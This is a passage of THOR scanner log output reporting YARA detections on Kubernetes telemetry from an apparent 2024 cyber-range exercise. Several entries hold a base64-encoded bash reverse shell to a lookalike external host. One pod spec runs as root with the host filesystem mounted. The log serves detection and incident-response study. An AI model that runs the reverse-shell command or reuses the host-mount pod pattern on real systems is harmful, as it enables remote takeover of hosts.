'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","pid":164760,"cwd":"/home/utils","start_time":"2024-09-03T14:17:20.402209123Z","docker":"11c3efd882aa61732eccba3bdd9d6db","parent_exec_id":"azhzLW5vZGUwMTo5NzA4NzE4NzUyMzc1MDc6MTY0NzQ2","tid":164760,"uid":0,"binary":"/bin/sh","pod":{"name":"mlops-metrics","workload_kind":"Pod","container":{"id":"cri-o://11c3efd882aa6173 SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:20 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"moI_uJEBNKI3r7qcaSsw","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:22.150Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE5MzMwMzI5MjQ6MTY0Nzgw\", \"pid\":164780, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/usr/bin/base64\", \"arguments\":\"-d\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:20.403096678Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://11c3efd882aa61732eccba3bdd9d6db3cc4128c22036953fd9609d43620c277b\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"pid\":8}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"11c3efd882aa61732eccba3bdd9d6db\", \"parent_exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE5MzIxNDUwMDY6MTY0NzYw\", \"tid\":164780}, \"parent\":{\"exec_[...]:\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\"[...]bdd9d6db3cc4128c22036953fd9609d43620c277b","name":"mlops-metrics","pid":8,"image":{"id":"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550","name":"docker.io/arunvelsriram/utils:latest"}},"namespace":"prod","workload":"mlops-metrics"},"exec_id":"azhzLW5vZGUwMTo5NzA4NzE5MzMwMzI5MjQ6MTY0Nzgw"},"parent":{"arguments":"-c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","pid":164760,"cwd":"/home/utils","start_time":"2024-09-03T14:17:20.402209123Z","docker":"11c3efd882 SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:20 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"bII_uJEBNKI3r7qcaSsv","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:22.150Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE5MzMwNTIzMzE6MTY0Nzgx\", \"pid\":164781, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/bin/bash\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:20.403116085Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://11c3efd882aa61732eccba3bdd9d6db3cc4128c22036953fd9609d43620c277b\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"pid\":9}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"11c3efd882aa61732eccba3bdd9d6db\", \"parent_exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE5MzIxNDUwMDY6MTY0NzYw\", \"tid\":164781}, \"parent\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4N[...]:\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\"[...]rics","pid":9,"image":{"id":"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550","name":"docker.io/arunvelsriram/utils:latest"}},"namespace":"prod","workload":"mlops-metrics"},"exec_id":"azhzLW5vZGUwMTo5NzA4NzE5MzMwNTIzMzE6MTY0Nzgx"},"parent":{"arguments":"-c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","pid":164760,"cwd":"/home/utils","start_time":"2024-09-03T14:17:20.402209123Z","docker":"11c3efd882aa61732eccba3bdd9d6db","parent_exec_id":"azhzLW5vZGUwMTo5NzA SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"rYI-uJEBNKI3r7qc8xbx","_score":1,"_source":{"@timestamp":"2024-09-03T14:16:49.946Z","type":"k8s","event":{"original":"{\"kind\":\"Event\",\"apiVersion\":\"audit.k8s.io/v1\",\"level\":\"RequestResponse\",\"auditID\":\"9d73066b-0f58-4778-8e79-7f199f2e21e2\",\"stage\":\"ResponseComplete\",\"requestURI\":\"/api/v1/namespaces/prod/pods?fieldManager=kubectl-client-side-apply\\u0026fieldValidation=Strict\",\"verb\":\"create\",\"user\":{\"username\":\"system:serviceaccount:prod:prod-pod-creator\",\"uid\":\"09efc0da-119d-4977-bfa3-a2036547d714\",\"groups\":[\"system:serviceaccounts\",\"system:serviceaccounts:prod\",\"system:authenticated\"],\"extra\":{\"authentication.kubernetes.io/pod-name\":[\"mercury-mlflow-6f9d898884-ddtt9\"],\"authentication.kubernetes.io/pod-uid\":[\"dbd80eda-95e5-4b05-86e0-b649bf8733ba\"]}},\"sourceIPs\":[\"10.244.85.228\"],\"userAgent\":\"kubec[...]"args\\\":[\\\"sh\\\",\\\"-c\\\",\\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"],\\\"image\\\":\\\"arunvelsriram/utils\\\",\\[...]am/utils\",\"args\":[\"sh\",\"-c\",\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"],\"resources\":{},\"volumeMounts\":[{\"name\":\[...]bels\\\":{\\\"app\\\":\\\"mlops-metrics\\\"},\\\"name\\\":\\\"mlops-metrics\\\",\\\"namespace\\\":\\\"prod\\\"},\\\"spec\\\":{\\\"containers\\\":[{\\\"args\\\":[\\\"sh\\\",\\\"-c\\\",\\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"],\\\"image\\\":\\\"arunvelsriram/utils\\\",\\\"name\\\":\\\"mlops-metrics\\\",\\\"securityContext\\\":{\\\"runAsUser\\\":0},\\\"volumeMounts\\\":[{\\\"mountPath\\\":\\\"/host\\\",\\\"name\\\":\\\"hostvolume\\\"}]}],\\\"volumes\\\":[{\\\"hostPath\\\":{\\\"path\\\":\\\"/\\\",\\\"type\\\":\\\"Directory\\\"},\\\"name\\\":\\\"hostvolume\\\"}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersio SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Rule triggered more than 10 times in the current element. Future matches will be suppressed. To show all matches use --showall. SCANID: S-SuOJqXNEdu8 RULE: SUSP_Base64_Decode_Bash_Jan21
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Rule triggered more than 10 times in the current element. Future matches will be suppressed. To show all matches use --showall. SCANID: S-SuOJqXNEdu8 RULE: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Rule triggered more than 10 times in the current element. Future matches will be suppressed. To show all matches use --showall. SCANID: S-SuOJqXNEdu8 RULE: SUSP_Base64_Encoded_Bash_Interactive_Pattern_Mar22_1
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Rule triggered more than 10 times in the current element. Future matches will be suppressed. To show all matches use --showall. SCANID: S-SuOJqXNEdu8 RULE: SUSP_OBFUSC_LNX_Bash_Shells_Apr22_1
Sep 10 18:40:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Rule triggered more than 10 times in the current element. Future matches will be suppressed. To show all matches use --showall. SCANID: S-SuOJqXNEdu8 RULE: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Finished module SCANID: S-SuOJqXNEdu8 DURATION: 0 hours 9 mins 36 secs SCANNED_ELEMENTS: 20
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: ThorDB MESSAGE: Successfully closed ThorDB SCANID: S-SuOJqXNEdu8
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Results SCANID: S-SuOJqXNEdu8 ALERTS: 0 WARNINGS: 12 NOTICES: 5 ERRORS: 0
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: For details see the log files written to ["WIN-LRTT94FA08M_thor_2024-09-10_1836.txt" "WIN-LRTT94FA08M_thor_2024-09-10_1836.html"] SCANID: S-SuOJqXNEdu8
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Begin Time: Tue Sep 10 18:37:26 2024 SCANID: S-SuOJqXNEdu8
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: End Time: Tue Sep 10 18:47:10 2024 SCANID: S-SuOJqXNEdu8
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Scan took 0 hours 9 mins 44 secs SCANID: S-SuOJqXNEdu8
Sep 10 18:47:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Report MESSAGE: Thor Scan finished SCANID: S-SuOJqXNEdu8 END_TIME: Tue Sep 10 18:47:10 2024 ALERTS: 0 WARNINGS: 12 NOTICES: 5 ERRORS: 0
